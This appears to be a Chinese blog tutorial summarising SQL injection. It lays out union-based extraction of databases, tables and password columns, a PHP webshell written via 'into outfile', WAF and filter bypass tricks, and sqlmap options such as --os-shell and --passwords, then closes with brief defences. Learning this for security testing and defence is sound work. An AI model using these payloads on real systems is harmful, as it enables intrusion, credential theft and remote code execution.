SQL注入小结

1.原理

当用户提交的数据未作处理或转义直接拼接为sql语句带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。

2.注入点

关注点:和数据库交互的参数,尤其是根据输入不同页面有不同显示的参数
在参数后面添加单引号,如果报错或者长度变化

3.分类

3.1数据库

常见的数据库类型,分为关系型数据库和非关系型数据库
关系型数据库有 MySQL、MSSQL、Access、Oracle、DB2、PostgreSQL等。
非关系型数据库有 Redis、MongoDB、Neo4j、Memcached、MemcacheDB 和 HBase等

3.2数据类型

数字型——?id=1 and 1=1 --+
字符型——要闭合符号' '' ') ") ')) "))等   ?id=1' order by x --+
搜索型——闭合通配符 %' order by x --+   ||   %' and '%1%'='%1
编码型——发送编码后的payload,后端解码后进行数据库操作
加密型——发送加密后的payload
格式型——JSON  json={“username”:“admin’ order by 4 #”}

3.3提交方式

get post $_SERVER获取的参数(cookie,user-agent...) $_REQUEST(从任意位置接收参数)
sqlmap -r

3.4注入方式

布尔注入 延时注入 报错注入

4.注入流程

mysql:
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表

判断注入点:?id=1'
判断类型:?id=1') 
判断列数:?id=1 order by xx --+
看显示位:?id=1 union select 1,2,3,4,5,6,7... --+
收集信息:?id=1 union select user(),2,3,4... --+ database(),user(),version()等
查数据库:union select group_concat(schema_name),2,3,4... from information_schema.schemata 
查表:union select group_concat(table_name),2,3,4... from information_schema.tables where table_schema='xxx'
查字段:union select group_concat(column_name),2,3,4... from information_schema.columns where table_name='xxx'
查数据:union select group_concat(username),group_concat(password),3,4... from 数据库名.表名

5.堆叠注入

mysql mssql Postgresql等支持
?id=1';show databases; --+ 一次执行多条

6.高权限用户读写

union select 1,load_file(‘d:/w.txt’),3,4,5,6

union select 1,‘<?php eval($_GET[x])?>’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile ‘d:/www.txt’

7.HPP绕过

不同waf有不同处理规则
如php/apache检测第二个?uid=1&uid=2,可以在第一个参数构造payload(检测第二个,第一个仍拼接进sql语句)

8其他

access偏移注入 二次注入(注入的数据在展示时被带如数据库执行)

9.绕过

魔术引号,转义函数

转义'和",加%df绕过
宽字节注入  gbk编码时  ?id=%df' and 1=1 --+

过滤空格

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ +

过滤引号

编码绕过 url hex unicode

过滤等号

like rlike regexp替换=

过滤大于小于号

between绕过
1 AND A > B--+
1 AND A NOT BETWEEN 0 AND B--+

过滤关键字

大小写 UnIoN SeLcT And...
注释分割 un/**/ion sele/**/ct

过滤逗号

join:union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)

编码绕过

url:SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

unicode:SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

10.sqlmap使用

-u -r
--dbs
--tables -D "xx"
--columns -D "xx" -T "xx"
--dump -D "xx" -T "xx"  -C "xx"
--is-dba
--passwords 爆账户和密码
--os-shell 交互式命令
--file-read "xxxx"
--file-write "xxxx" --file-dest "xxxx"

--tamper=unmagicquotes.py   魔术引号
--tamper=base64encode.py    base64编码
1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)

11.防御

1.SQL语句预编译
2.对SQL输入内容进行限制、过滤
3.关闭错误信息输出 ,防止物理路径、数据库版本等信息泄露
4.敏感信息严格加密处理

参考:

科普基础 | 最全的SQL注入总结 - FreeBuf网络安全行业门户

浅谈Sql注入总结笔 记整理(超详细) - FreeBuf网络安全行业门户

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值